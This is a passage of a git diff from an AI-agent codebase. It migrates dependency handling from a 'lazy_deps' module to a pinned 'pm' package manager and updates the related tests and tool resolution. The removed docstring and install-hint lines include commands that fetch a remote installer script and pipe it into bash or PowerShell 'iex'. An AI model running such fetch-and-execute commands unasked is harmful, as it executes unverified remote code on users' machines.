aliases) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) - lexical_venv = lexical_root / "venv" - validated = local._validated_runtime_venv({"VIRTUAL_ENV": str(lexical_venv)}) + validated = local._validated_runtime_venv({"VIRTUAL_ENV": "/somewhere/else"}) assert validated is not None - assert local._same_path(validated, lexical_venv) + assert local._same_path(validated, venv_dir) - local._hermes_site_packages = None + monkeypatch.setattr(local, "_hermes_site_packages", None) + monkeypatch.setattr(local, "_in_venv", False) env = {"PYTHONPATH": os.pathsep.join([ - str(lexical_root), - str(lexical_venv / "Lib" / "site-packages"), + str(venv_sp), "/home/user/my-lib", - ]), "VIRTUAL_ENV": str(lexical_venv)} + ])} local._strip_hermes_owned_pythonpath(env) assert env["PYTHONPATH"].split(os.pathsep) == ["/home/user/my-lib"] diff --git a/tests/tools/test_pre_transcription_hook.py b/tests/tools/test_pre_transcription_hook.py index 7ebede1126..fdbe80936d 100644 --- a/tests/tools/test_pre_transcription_hook.py +++ b/tests/tools/test_pre_transcription_hook.py @@ -163,7 +163,7 @@ class TestPromptThreading: audio = _make_audio(tmp_path) monkeypatch.setenv("MISTRAL_API_KEY", "mk-test") # Never attempt a lazy install in tests. - monkeypatch.setattr("tools.lazy_deps.ensure", lambda *a, **kw: None) + monkeypatch.setattr("pm.ensure_import", lambda *a, **kw: None) mistral_cls = MagicMock() mock_client = mistral_cls.return_value.__enter__.return_value diff --git a/tests/tools/test_read_extract.py b/tests/tools/test_read_extract.py index de2069c8cd..fb85273e25 100644 --- a/tests/tools/test_read_extract.py +++ b/tests/tools/test_read_extract.py @@ -238,7 +238,7 @@ class TestAnydocInitLifecycle(unittest.TestCase): self._saved_retry = read_extract.ANYDOC_RETRY_SECONDS read_extract._anydoc_module = read_extract._ANYDOC_UNSET read_extract._anydoc_failed_at = None - self._ensure = mock.patch("tools.lazy_deps.ensure", return_value=None) + self._ensure = mock.patch("pm.ensure_import", return_value=None) self._ensure.start() def tearDown(self): @@ -262,7 +262,7 @@ class TestAnydocInitLifecycle(unittest.TestCase): def test_failed_reconciliation_does_not_import_unverified_binding(self): with mock.patch( - "tools.lazy_deps.ensure", side_effect=RuntimeError("wrong version") + "pm.ensure_import", side_effect=RuntimeError("wrong version") ), mock.patch("importlib.import_module") as import_module: self.assertIsNone(self.rex._anydoc()) import_module.assert_not_called() diff --git a/tests/tools/test_tts_pythonpath_fallback.py b/tests/tools/test_tts_pythonpath_fallback.py index 39f873cf07..09ebdc2fb3 100644 --- a/tests/tools/test_tts_pythonpath_fallback.py +++ b/tests/tools/test_tts_pythonpath_fallback.py @@ -3,10 +3,10 @@ When TTS/STT packages (edge-tts, elevenlabs, mistralai) installed outside the venv but importable on sys.path (e.g. via PYTHONPATH, Docker layered filesystems), the lazy-import helpers must fall through to the raw import -instead of re-raising lazy_deps.ensure() failures as ImportError. +instead of re-raising pm.ensure_import() failures as ImportError. Uses sys.modules fixtures so builtins.__import__ stays intact — patching -__import__ replaces the helper's own ``from tools.lazy_deps import ...`` +__import__ replaces the helper's own ``from pm import ...`` and defeats the purpose of the test. """ @@ -15,7 +15,7 @@ from unittest.mock import MagicMock, patch import pytest -from tools.lazy_deps import FeatureUnavailable +from pm import InstallError as FeatureUnavailable @pytest.fixture(autouse=True) @@ -34,19 +34,19 @@ def _clean_tts_modules(): class TestEdgeTtsPythonpathFallback: - def test_falls_through_on_lazy_deps_failure(self): + def test_falls_through_on_install_failure(self): """FeatureUnavailable from ensure() must not prevent raw import.""" mock_edge_tts = MagicMock() with patch.dict(sys.modules, {"edge_tts": mock_edge_tts}), \ - patch("tools.lazy_deps.ensure", - side_effect=FeatureUnavailable("tts.edge", (), "test")): + patch("pm.ensure_import", + side_effect=FeatureUnavailable("edge-tts", "test")): from tools.tts_tool import _import_edge_tts result = _import_edge_tts() assert result is mock_edge_tts def test_raises_when_package_truly_missing(self): """When the package is truly absent, ImportError must propagate.""" - with patch("tools.lazy_deps.ensure"), \ + with patch("pm.ensure_import"), \ patch.dict(sys.modules, {"edge_tts": None}): from tools.tts_tool import _import_edge_tts with pytest.raises(ImportError): @@ -54,7 +54,7 @@ class TestEdgeTtsPythonpathFallback: class TestElevenLabsPythonpathFallback: - def test_falls_through_on_lazy_deps_failure(self): + def test_falls_through_on_install_failure(self): """FeatureUnavailable from ensure() must not prevent raw import.""" mock_cls = MagicMock() mock_client_pkg = MagicMock() @@ -62,15 +62,15 @@ class TestElevenLabsPythonpathFallback: with patch.dict(sys.modules, { "elevenlabs": mock_client_pkg, "elevenlabs.client": mock_client_pkg, - }), patch("tools.lazy_deps.ensure", - side_effect=FeatureUnavailable("tts.elevenlabs", (), "test")): + }), patch("pm.ensure_import", + side_effect=FeatureUnavailable("tts-premium", "test")): from tools.tts_tool import _import_elevenlabs result = _import_elevenlabs() assert result is mock_cls def test_raises_when_package_truly_missing(self): """When the package is truly absent, ImportError must propagate.""" - with patch("tools.lazy_deps.ensure"), \ + with patch("pm.ensure_import"), \ patch.dict(sys.modules, {"elevenlabs": None, "elevenlabs.client": None}): from tools.tts_tool import _import_elevenlabs @@ -79,7 +79,7 @@ class TestElevenLabsPythonpathFallback: class TestMistralPythonpathFallback: - def test_falls_through_on_lazy_deps_failure(self): + def test_falls_through_on_install_failure(self): """FeatureUnavailable from ensure() must not prevent raw import.""" mock_cls = MagicMock() mock_mistralai = MagicMock() @@ -87,15 +87,15 @@ class TestMistralPythonpathFallback: with patch.dict(sys.modules, { "mistralai": mock_mistralai, "mistralai.client": mock_mistralai, - }), patch("tools.lazy_deps.ensure", - side_effect=FeatureUnavailable("tts.mistral", (), "test")): + }), patch("pm.ensure_import", + side_effect=FeatureUnavailable("mistral", "test")): from tools.tts_tool import _import_mistral_client result = _import_mistral_client() assert result is mock_cls def test_raises_when_package_truly_missing(self): """When the package is truly absent, ImportError must propagate.""" - with patch("tools.lazy_deps.ensure"), \ + with patch("pm.ensure_import"), \ patch.dict(sys.modules, {"mistralai": None, "mistralai.client": None}): from tools.tts_tool import _import_mistral_client @@ -107,10 +107,10 @@ class TestMistralPythonpathFallback: class TestMistralSttPythonpathFallback: - def test_transcribe_mistral_falls_through_on_lazy_deps_failure( + def test_transcribe_mistral_falls_through_on_install_failure( self, tmp_path, ): - """FeatureUnavailable from ensure('stt.mistral') must not block + """InstallError from ensure_import('mistral') must not block transcription when mistralai is importable via PYTHONPATH.""" from tools.transcription_tools import _transcribe_mistral @@ -137,8 +137,8 @@ class TestMistralSttPythonpathFallback: with patch.dict(sys.modules, { "mistralai": mock_mistralai, "mistralai.client": mock_mistralai, - }), patch("tools.lazy_deps.ensure", - side_effect=FeatureUnavailable("stt.mistral", (), "test")), \ + }), patch("pm.ensure_import", + side_effect=FeatureUnavailable("mistral", "test")), \ patch("tools.transcription_tools.get_env_value", return_value="test-key"): result = _transcribe_mistral(str(audio_file), "mistral-large-latest") diff --git a/tests/tools/test_wake_word.py b/tests/tools/test_wake_word.py index fc05fa11de..0824c79c8a 100644 --- a/tests/tools/test_wake_word.py +++ b/tests/tools/test_wake_word.py @@ -16,6 +16,10 @@ from pathlib import Path import pytest +import pm +import importlib + +pm_ensure = importlib.import_module("pm.ensure") import tools.wake_word as ww @@ -100,7 +104,7 @@ def _voice_loop_ready(monkeypatch, stt=True, tts=True): def test_requirements_openwakeword_available(monkeypatch): _voice_loop_ready(monkeypatch) monkeypatch.setattr(ww, "_audio_available", lambda: True) - monkeypatch.setattr("tools.lazy_deps.is_available", lambda f: True) + monkeypatch.setattr(pm, "available", lambda f: True) r = ww.check_wake_word_requirements( {"provider": "openwakeword", "phrase": "hey hermes"} ) @@ -112,7 +116,7 @@ def test_requirements_openwakeword_available(monkeypatch): def test_tts_ready_is_a_probe_never_an_installer(monkeypatch): """_tts_ready must NOT trigger lazy pip installs from a status poll. - Regression: check_tts_requirements → _import_edge_tts → lazy_deps.ensure + Regression: check_tts_requirements → _import_edge_tts → pm.ensure_import ran pip inside wake.status; a slow/failed install froze the poll and unmounted the desktop ear. Uninstalled-but-lazy-installable counts as ready WITHOUT calling ensure/check. @@ -132,23 +136,23 @@ def test_tts_ready_is_a_probe_never_an_installer(monkeypatch): monkeypatch.setitem(sys.modules, "tools.tts_tool", fake_tts) # Deps missing + lazy installs allowed → ready (installs at first speak). - monkeypatch.setattr("tools.lazy_deps.is_available", lambda f: False) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) + monkeypatch.setattr(pm, "available", lambda f: False) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: True) assert ww._tts_ready() is True # Deps missing + lazy installs disabled → not ready. - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: False) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: False) assert ww._tts_ready() is False # Deps present → falls through to the real requirements check. fake_tts.check_tts_requirements = lambda: True - monkeypatch.setattr("tools.lazy_deps.is_available", lambda f: True) + monkeypatch.setattr(pm, "available", lambda f: True) assert ww._tts_ready() is True def test_requirements_fresh_install_lazy_allowed(monkeypatch): """Deps missing + lazy installs allowed → available, so /wake on can - reach the engine constructor's ``lazy_deps.ensure()`` call. + reach the engine constructor's ``pm.ensure_import()`` call. Regression: the audio probe imports sounddevice/numpy — packages the lazy installer would fetch — so gating ``available`` on it made the @@ -160,8 +164,8 @@ def test_requirements_fresh_install_lazy_allowed(monkeypatch): _voice_loop_ready(monkeypatch) monkeypatch.setattr(ww, "_audio_available", _boom) - monkeypatch.setattr("tools.lazy_deps.is_available", lambda f: False) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) + monkeypatch.setattr(pm, "available", lambda f: False) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: True) r = ww.check_wake_word_requirements({"provider": "openwakeword"}) assert r["available"] is True assert r["deps_available"] is False @@ -174,8 +178,8 @@ def test_requirements_deps_present_but_no_audio_hint(monkeypatch): _voice_loop_ready(monkeypatch) monkeypatch.setattr(ww, "_audio_available", lambda: False) monkeypatch.setattr(ww, "_local_input_device_ready", lambda: False) - monkeypatch.setattr("tools.lazy_deps.is_available", lambda f: True) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: True) + monkeypatch.setattr(pm, "available", lambda f: True) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: True) r = ww.check_wake_word_requirements({"provider": "openwakeword", "capture": "local"}) assert r["available"] is False assert "audio device" in r["hint"] or "microphone" in r["hint"].lower() @@ -211,7 +215,7 @@ def _install_fake_openwakeword(monkeypatch): monkeypatch.setitem(sys.modules, "openwakeword", oww) monkeypatch.setitem(sys.modules, "openwakeword.model", model_mod) - monkeypatch.setattr("tools.lazy_deps.ensure", lambda *a, **k: None) + monkeypatch.setattr(pm, "ensure_import", lambda *a, **k: None) return calls @@ -317,7 +321,7 @@ def _openwakeword_engine_with_scores(monkeypatch, cfg_wake, scores): model_mod.Model = _ScriptedModel monkeypatch.setitem(sys.modules, "openwakeword", oww) monkeypatch.setitem(sys.modules, "openwakeword.model", model_mod) - monkeypatch.setattr("tools.lazy_deps.ensure", lambda *a, **k: None) + monkeypatch.setattr(pm, "ensure_import", lambda *a, **k: None) monkeypatch.setattr(ww, "ensure_tflite_runtime", lambda: True) return ww._OpenWakeWordEngine({"provider": "openwakeword", **cfg_wake}) @@ -371,7 +375,7 @@ def _install_fake_sherpa(monkeypatch, tmp_path): sherpa.KeywordSpotter = _FakeSpotter sherpa.text2token = _fake_text2token monkeypatch.setitem(sys.modules, "sherpa_onnx", sherpa) - monkeypatch.setattr("tools.lazy_deps.ensure", lambda *a, **k: None) + monkeypatch.setattr(pm, "ensure_import", lambda *a, **k: None) # numpy is an optional voice-extra dep, lazy-installed at runtime — CI's # hermetic slices don't have it. process() only calls asarray(...)/32768, @@ -722,24 +726,8 @@ def test_requirements_client_capture_without_local_mic(monkeypatch): monkeypatch.setattr(ww, "_local_input_device_ready", lambda: False) monkeypatch.setattr(ww, "_stt_ready", lambda: True) monkeypatch.setattr(ww, "_tts_ready", lambda: True) - - class _LD: - @staticmethod - def is_available(feature): - return True - - @staticmethod - def _allow_lazy_installs(): - return False - - @staticmethod - def feature_install_command(feature): - return "" - - monkeypatch.setattr(ww, "lazy_deps", _LD, raising=False) - import tools.lazy_deps as real_ld - monkeypatch.setattr("tools.lazy_deps.is_available", lambda f: True) - monkeypatch.setattr("tools.lazy_deps._allow_lazy_installs", lambda: False) + monkeypatch.setattr(pm, "available", lambda f: True) + monkeypatch.setattr(pm_ensure, "lazy_installs_allowed", lambda: False) reqs = ww.check_wake_word_requirements({"capture": "client", "provider": "openwakeword"}) assert reqs["available"] is True diff --git a/tests/tui_gateway/test_protocol.py b/tests/tui_gateway/test_protocol.py index 774f70437d..59d44c18f3 100644 --- a/tests/tui_gateway/test_protocol.py +++ b/tests/tui_gateway/test_protocol.py @@ -1207,7 +1207,7 @@ def test_voice_and_wake_handlers_are_pool_routed(voice_or_wake_method, server): wake.start and wake.status share the same STT lazy-install path via check_wake_word_requirements() → _stt_ready() → _get_provider(), and - wake.start additionally calls lazy_deps.ensure() for wake-word engine deps. + wake.start additionally calls pm.ensure_import() for wake-word engine deps. The desktop polls wake.status on every gateway-ready. """ assert voice_or_wake_method in server._LONG_HANDLERS diff --git a/tools/approval.py b/tools/approval.py index 298cfe4820..bb3f480313 100644 --- a/tools/approval.py +++ b/tools/approval.py @@ -2590,11 +2590,18 @@ def human_wait_ceiling() -> float: config cache. Platform safety: ``_get_approval_timeout`` caps at - ``agent.deadline.MAX_SAFE_TIMEOUT_S``, so this value is always safe to - hand to ``Lock.acquire(timeout=...)`` / ``Thread.join(timeout=...)`` - (#83220 macOS time_t overflow). + ``agent.deadline.MAX_SAFE_TIMEOUT_S``; the margin is added only within + that cap (min with the cap) so the result is always safe to hand to + ``Lock.acquire(timeout=...)`` / ``Thread.join(timeout=...)`` — on + Windows the binding limit is the DWORD-millisecond cap (~49.7 days) + and cap+margin would overflow it (#83220 class). """ - return float(_get_approval_timeout()) + HUMAN_WAIT_MARGIN_S + from agent.deadline import MAX_SAFE_TIMEOUT_S + + return min( + float(_get_approval_timeout()) + HUMAN_WAIT_MARGIN_S, + MAX_SAFE_TIMEOUT_S, + ) def _clamped_window_seconds(started: float, now: float, ceiling: float) -> float: @@ -3471,9 +3478,11 @@ def _get_approval_timeout() -> int: safe_cap = int(MAX_SAFE_TIMEOUT_S) except Exception: # Fail CLOSED: returning the raw value here would re-open the exact - # time_t overflow this clamp exists to prevent. ~1 year, matching - # agent.deadline.MAX_SAFE_TIMEOUT_S. - safe_cap = 365 * 24 * 3600 + # time_t overflow this clamp exists to prevent. Use the conservative + # cross-platform bound — below the Windows DWORD-millisecond cap + # (~49.7 days) so the fallback is safe even where the platform-aware + # constant cannot be read. + safe_cap = 40 * 24 * 3600 # 40 days < 0xFFFFFFFF ms / 1000 if raw > safe_cap: logger.warning( "approvals.timeout=%s exceeds the platform-safe maximum; " diff --git a/tools/browser_tool.py b/tools/browser_tool.py index 673c6b1d7e..cd3ddf7292 100644 --- a/tools/browser_tool.py +++ b/tools/browser_tool.py @@ -5697,17 +5697,18 @@ def _chromium_installed() -> bool: 1. ``AGENT_BROWSER_EXECUTABLE_PATH`` env var — the official way to point agent-browser at a pre-installed Chrome/Chromium. - 2. System Chrome/Chromium in PATH (``google-chrome``, ``chromium``, - ``chromium-browser``, ``chrome``). - 3. Playwright's browser cache (current logic) — directories containing - ``chromium-*`` or ``chromium_headless_shell-*``. + 2. The pinned browser store (Playwright's browser cache) — directories + containing ``chromium-*`` or ``chromium_headless_shell-*``. - agent-browser (0.26+) downloads Playwright's chromium / headless-shell - builds into ``PLAYWRIGHT_BROWSERS_PATH`` and won't start without at least - one of the three above being present. Without a browser binary the CLI - hangs on first use until the command timeout fires (often ~30s). Guarding - the tool behind this check prevents advertising a capability that will - fail at runtime. + There is deliberately NO system-Chrome fallback rung: a pinned store + build is hash/version-pinned and re-provisioned by pm, while a system + Chrome varies per machine and breaks the pinning contract (gap plan + decision D3). agent-browser (0.26+) downloads Playwright's chromium / + headless-shell builds into ``PLAYWRIGHT_BROWSERS_PATH`` and won't start + without at least one of the two above being present. Without a browser + binary the CLI hangs on first use until the command timeout fires + (often ~30s). Guarding the tool behind this check prevents advertising + a capability that will fail at runtime. """ global _cached_chromium_installed if _cached_chromium_installed is not None: @@ -5720,18 +5721,7 @@ def _chromium_installed() -> bool: _cached_chromium_installed = True return True - # 2. System Chrome/Chromium in PATH (common names) - system_chrome = ( - shutil.which("google-chrome") - or shutil.which("chromium") - or shutil.which("chromium-browser") - or shutil.which("chrome") - ) - if system_chrome: - _cached_chromium_installed = True - return True - - # 3. Playwright browser cache (legacy — chromium-* / chromium_headless_shell-* dirs) + # 2. Pinned browser store (chromium-* / chromium_headless_shell-* dirs) for root in _chromium_search_roots(): if not root or not os.path.isdir(root): continue diff --git a/tools/browser_use_cli.py b/tools/browser_use_cli.py index 8e9d719121..920ff1a538 100644 --- a/tools/browser_use_cli.py +++ b/tools/browser_use_cli.py @@ -319,6 +319,31 @@ def _user_local_bin_dir() -> Optional[str]: return None +def _pinned_uvx() -> Optional[str]: + """The pinned uvx from pm's store, or None when pm can't provide it. + + uvx ships inside uv's own store entry, beside the uv binary — the pin + that governs uv governs it. Resolved from pm's uv fact rather than by + probing directories: pm names the binary, so nobody goes fishing with + ``shutil.which`` on a dir (a PATH probe could resolve a system uvx of + unknown version). Pure lookup (``realize=False``) — this is a probe, + not the converging ``install_cli()`` path. + """ + try: + import pm + + uv_bin, _env = pm.uv(realize=False) + if not uv_bin: + return None + uvx = str(Path(uv_bin).with_name("uvx.exe" if os.name == "nt" else "uvx")) + if os.path.isfile(uvx) and os.access(uvx, os.X_OK): + return uvx + return None + except Exception as e: # pragma: no cover — defensive + logger.debug("Could not resolve pinned uvx: %s", e) + return None + + def _find_cli() -> Optional[List[str]]: """Locate the browser-use CLI, or None when it can't be run. @@ -329,7 +354,10 @@ def _find_cli() -> Optional[List[str]]: (~/.local/bin / %APPDATA%\\uv\\bin, where a manual ``uv tool install`` links binaries) are fallbacks for setups that never ran our install, and cover Desktop/TUI workers that spawn with a minimal PATH. The uvx - zero-install path (same probe order) is the final fallback. + zero-install path is the final fallback — the pinned uvx from pm's + store first, then the Hermes-owned bin dir and the user-level tool + dir. A bare PATH uvx probe is deliberately absent: pm names the + pinned binary, and a PATH uvx is an unknown version. """ probe_paths = (_managed_bin_dir(), None, _user_local_bin_dir()) for probe_path in probe_paths: @@ -337,8 +365,11 @@ def _find_cli() -> Optional[List[str]]: direct = shutil.which("browser-use", path=probe_path) if direct: return [direct] - for probe_path in probe_paths: - if probe_path is None or probe_path: + uvx = _pinned_uvx() + if uvx is not None: + return [uvx, "browser-use"] + for probe_path in (_managed_bin_dir(), _user_local_bin_dir()): + if probe_path: uvx = shutil.which("uvx", path=probe_path) if uvx: return [uvx, "browser-use"] @@ -348,8 +379,8 @@ def _find_cli() -> Optional[List[str]]: def install_cli(timeout_s: int = 600) -> Tuple[bool, str]: """Install the browser-use CLI persistently via ``uv tool install``. - Resolution order for uv: Hermes' managed uv (bootstrapped on demand via - ``hermes_cli.managed_uv.ensure_uv``) → uv on PATH. The binary is linked + Resolution order for uv: Hermes' managed uv (realized on demand via + ``pm.uv``) → uv on PATH. The binary is linked into ``$HERMES_HOME/bin`` (``UV_TOOL_BIN_DIR``) so ``_find_cli()`` resolves it for every profile without touching the user's PATH. @@ -367,12 +398,15 @@ def install_cli(timeout_s: int = 600) -> Tuple[bool, str]: return True, f"browser-use CLI already installed ({managed})" uv_bin: Optional[str] = None + env = dict(os.environ) try: - from hermes_cli.managed_uv import ensure_uv + import pm - uv_bin = str(ensure_uv() or "") or None + uv_bin, pm_env = pm.uv() + if uv_bin: + env = pm_env except Exception as e: - logger.debug("Managed uv bootstrap unavailable: %s", e) + logger.debug("Managed uv unavailable: %s", e) if not uv_bin: uv_bin = shutil.which("uv") if not uv_bin: @@ -381,7 +415,6 @@ def install_cli(timeout_s: int = 600) -> Tuple[bool, str]: "(https://docs.astral.sh/uv/) and run `uv tool install browser-use`." ) - env = dict(os.environ) env["UV_NO_CONFIG"] = "1" if bin_dir: try: diff --git a/tools/checkpoint_manager.py b/tools/checkpoint_manager.py index 1061874b41..a148f1d271 100644 --- a/tools/checkpoint_manager.py +++ b/tools/checkpoint_manager.py @@ -48,6 +48,7 @@ reclaim object storage. A size-cap pass drops the oldest checkpoints per project until total store size is under ``max_total_size_mb``. """ +import functools import hashlib import json import logging @@ -252,7 +253,7 @@ def _load_ledger(store: Path, dir_hash: str) -> Dict[str, Dict]: this" apart from "the user hand-edited this afterwards". """ try: - raw = _ledger_path(store, dir_hash).read_text(encoding="utf-8") + raw = _ledger_path(store, dir_hash).read_text(encoding="utf-8-sig") data = json.loads(raw) return data if isinstance(data, dict) else {} except (OSError, ValueError): @@ -290,6 +291,33 @@ def _project_meta_path(store: Path, dir_hash: str) -> Path: # Git env # --------------------------------------------------------------------------- +@functools.lru_cache(maxsize=1) +def _managed_git() -> Optional[Tuple[List[str], List[str]]]: + """(git invocation, extra PATH dirs) from pm's pinned Git for Windows. + + pm's git package is the canonical Windows git (Git for Windows, + pinned in pm/lock.json); its PATH dirs make the MSYS helpers + (sh.exe, git-remote-*) resolvable to the child. Returns None when pm + cannot provide git — the deliberate POSIX gap (system git by choice), + not installed, or lazy installs disabled — and the caller falls back + to bare ``git`` on PATH. Cached: checkpoints fire several git calls + per turn, so the store lookup should not repeat. + """ + try: + import pm + + runner = pm.ensure("git") + for candidate in ("git.exe", "git"): + resolved = shutil.which(candidate, path=runner.env.get("PATH")) + if resolved: + git_dir = str(Path(resolved).resolve().parent) + usr_bin = str(Path(resolved).resolve().parent.parent / "usr" / "bin") + return [resolved], [git_dir, usr_bin] + except Exception: + pass + return None + + def _git_env( store: Path, working_dir: str, @@ -377,7 +405,15 @@ def _run_git( return False, "", msg env = _git_env(store, str(normalized_working_dir), index_file=index_file) - cmd = ["git"] + list(args) + managed = _managed_git() + if managed: + cmd, path_dirs = managed + # The store's MSYS dirs must be reachable so git.exe can resolve + # its helpers; prepend them to the isolated child env. + env["PATH"] = os.pathsep.join(path_dirs) + os.pathsep + env.get("PATH", "") + else: + cmd = ["git"] + cmd = cmd + list(args) allowed_returncodes = allowed_returncodes or set() try: @@ -509,8 +545,14 @@ def _init_store(store: Path, working_dir: str) -> Optional[str]: "GIT_ALTERNATE_OBJECT_DIRECTORIES"): init_env.pop(k, None) try: + managed = _managed_git() + git_cmd, path_dirs = managed if managed else (["git"], None) + if path_dirs: + init_env["PATH"] = ( + os.pathsep.join(path_dirs) + os.pathsep + init_env.get("PATH", "") + ) result = subprocess.run( - ["git", "init", "--bare", str(store)], + git_cmd + ["init", "--bare", str(store)], capture_output=True, text=True, encoding='utf-8', errors='replace', env=init_env, timeout=_GIT_TIMEOUT, stdin=subprocess.DEVNULL, @@ -586,7 +628,7 @@ def _register_project(store: Path, working_dir: str) -> None: meta.update(evidence) if meta_path.exists(): try: - existing = json.loads(meta_path.read_text(encoding="utf-8")) + existing = json.loads(meta_path.read_text(encoding="utf-8-sig")) if isinstance(existing, dict): meta["created_at"] = existing.get("created_at", now) if not evidence: @@ -614,7 +656,7 @@ def _touch_project(store: Path, working_dir: str) -> None: _register_project(store, working_dir) return try: - meta = json.loads(meta_path.read_text(encoding="utf-8")) + meta = json.loads(meta_path.read_text(encoding="utf-8-sig")) except (OSError, ValueError): meta = {} if not isinstance(meta, dict): @@ -644,7 +686,7 @@ def _list_projects(store: Path) -> List[Dict]: for meta_path in projects_dir.glob("*.json"): dir_hash = meta_path.stem try: - meta = json.loads(meta_path.read_text(encoding="utf-8")) + meta = json.loads(meta_path.read_text(encoding="utf-8-sig")) except (OSError, ValueError): continue if not isinstance(meta, dict): @@ -677,7 +719,7 @@ def _pre_v2_shadow_repos(base: Path) -> List[Dict]: wd_marker = child / "HERMES_WORKDIR" if wd_marker.exists(): try: - workdir = wd_marker.read_text(encoding="utf-8").strip() + workdir = wd_marker.read_text(encoding="utf-8-sig").strip() except (OSError, UnicodeDecodeError): # The marker is there, we just could not read it. That is # not evidence the project is gone — never delete on it. @@ -2077,7 +2119,7 @@ def maybe_auto_prune_checkpoints( now = time.time() if marker.exists(): try: - last_ts = float(marker.read_text(encoding="utf-8").strip()) + last_ts = float(marker.read_text(encoding="utf-8-sig").strip()) if now - last_ts < min_interval_hours * 3600: out["skipped"] = True return out diff --git a/tools/code_kernel.py b/tools/code_kernel.py index 7805f636d1..6c60aa7dc9 100644 --- a/tools/code_kernel.py +++ b/tools/code_kernel.py @@ -572,7 +572,7 @@ def _spawn(kernel: SessionKernel, *, task_id: str, child_python: str, kernel.server_sock = server_sock tools_src = generate_hermes_tools_module(list(sandbox_tools)) - with open(os.path.join(kernel.tmpdir, "hermes_tools.py"), "w", encoding="utf-8") as f: + with open(os.path.join(kernel.tmpdir, "hermes_tools.py"), "w", encoding="utf-8-sig") as f: f.write(tools_src) runner_path = os.path.join(kernel.tmpdir, "hermes_kernel_runner.py") with open(runner_path, "w", encoding="utf-8") as f: diff --git a/tools/computer_use/cua_backend.py b/tools/computer_use/cua_backend.py index 4982426eef..b562bac3fb 100644 --- a/tools/computer_use/cua_backend.py +++ b/tools/computer_use/cua_backend.py @@ -18,13 +18,14 @@ etc.) surface as specific blocked checks via `hermes computer-use doctor` rather than failing silently. Install: - - **macOS**: - /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/trycua/cua/main/libs/cua-driver/scripts/install.sh)" - - **Windows** (PowerShell): - irm https://raw.githubusercontent.com/trycua/cua/main/libs/cua-driver/scripts/install.ps1 | iex + cua-driver is a pinned pm package — pm/lock.json carries the release and + the per-platform sha256, and the pm store is the canonical install: + hermes pm install (or `hermes tools` → Computer Use toolset) + Resolution below prefers the pm store's copy, then PATH and the canonical + user-local locations the upstream installer uses. -After install, `cua-driver` is on $PATH and supports `cua-driver mcp` (stdio -transport) which is what we invoke. +After install, `cua-driver` supports `cua-driver mcp` (stdio transport) +which is what we invoke. The macOS path uses private SkyLight SPIs (SLEventPostToPid, SLPSPostEventRecordTo, _AXObserverAddNotificationAndCheckRemote) that aren't @@ -254,7 +255,7 @@ def _cua_no_overlay() -> bool: if not os.environ.get("DISPLAY"): return True try: - with open("/proc/version", encoding="utf-8") as f: + with open("/proc/version", encoding="utf-8-sig") as f: if "microsoft" in f.read().lower(): return True except Exception: @@ -349,7 +350,7 @@ def _manifest_is_mode_independent(path: str) -> bool: try: import yaml - with open(path, "r", encoding="utf-8") as handle: + with open(path, "r", encoding="utf-8-sig") as handle: parsed = yaml.safe_load(handle) except Exception: logger.debug("could not read capability manifest %s", path, exc_info=True) @@ -374,8 +375,16 @@ def _standard_runtime_launch_args( a grant must therefore launch a fresh app daemon on a private socket instead of trying to reconfigure the default daemon. - ``platform`` is explicit so this policy can be tested as a pure function - on every CI host. + macOS TCC attribution: because the runtime runs inside CuaDriver.app, + Accessibility and Screen Recording grants attribute to the + ``com.trycua.driver`` bundle — never to the host Hermes process. That + is the accepted trade for one pinned binary and one launch path on + every platform; the in-process ``--direct`` runtime (restack-era) is + deliberately not ported — it is mutually exclusive with ``--socket``, + which the embedded private-daemon path here requires. + + ``platform`` is explicit so this policy can be tested as a pure + function on every CI host. """ result = list(args) if not grant_existing_profile: @@ -1105,6 +1114,29 @@ def _has_path_separator(value: str) -> bool: return os.sep in value or (os.altsep is not None and os.altsep in value) +def _pm_cua_driver_cmd() -> Optional[str]: + """The pm store's pinned cua-driver binary, realized on demand. + + cua-driver is a pm package: pm/lock.json pins the release and the + per-platform sha256, and ``pm.ensure`` stages it into the store. The + store's copy is canonical — it wins over PATH and user-local install + locations so every surface drives the same pinned binary. Returns + None when pm cannot provide it (not pinned, lazy installs disabled, + sealed bundle) so the caller falls back to PATH. + """ + try: + import pm + + runner = pm.ensure("cua-driver") + for candidate in ("cua-driver.exe", "cua-driver"): + resolved = shutil.which(candidate, path=runner.env.get("PATH")) + if resolved: + return resolved + except Exception as e: # pragma: no cover — defensive + logger.debug("pm cua-driver unavailable: %s", e) + return None + + def _candidate_cua_driver_commands(override: Optional[str] = None) -> List[str]: """Return candidate cua-driver commands in resolution order. @@ -1154,10 +1186,27 @@ def resolve_cua_driver_cmd(override: Optional[str] = None) -> Optional[str]: """Resolve the cua-driver executable for every runtime/status surface. A supplied override (or ``HERMES_CUA_DRIVER_CMD``) is never silently - replaced by another binary. Otherwise resolve PATH first, then canonical - user-local installation locations used by the official installer. + replaced by another binary. Otherwise the pm store's pinned copy wins + (``_pm_cua_driver_cmd``), then PATH, then canonical user-local + installation locations used by the official installer. """ - for candidate in _candidate_cua_driver_commands(override): + configured = ( + override if override is not None else os.environ.get(_CUA_DRIVER_CMD_ENV, "") + ).strip() + if configured: + # An explicit override is authoritative: if it is wrong, report the + # driver missing instead of silently picking a different binary. + expanded = os.path.expanduser(configured) + if _has_path_separator(expanded): + return expanded if shutil.which(expanded) else None + return shutil.which(expanded) + + # Managed-first: the pm store's pinned copy is canonical. + managed = _pm_cua_driver_cmd() + if managed: + return managed + + for candidate in _candidate_cua_driver_commands(None): expanded = os.path.expanduser(candidate) if _has_path_separator(expanded): if shutil.which(expanded): @@ -1442,22 +1491,10 @@ def _maybe_nudge_update() -> None: def cua_driver_install_hint() -> str: - if sys.platform == "win32": - installer = ( - ' irm https://raw.githubusercontent.com/trycua/cua/main/' - 'libs/cua-driver/scripts/install.ps1 | iex' - ) - else: - installer = ( - ' /bin/bash -c "$(curl -fsSL ' - 'https://raw.githubusercontent.com/trycua/cua/main/' - 'libs/cua-driver/scripts/install.sh)"' - ) return ( "cua-driver is not installed. Install with one 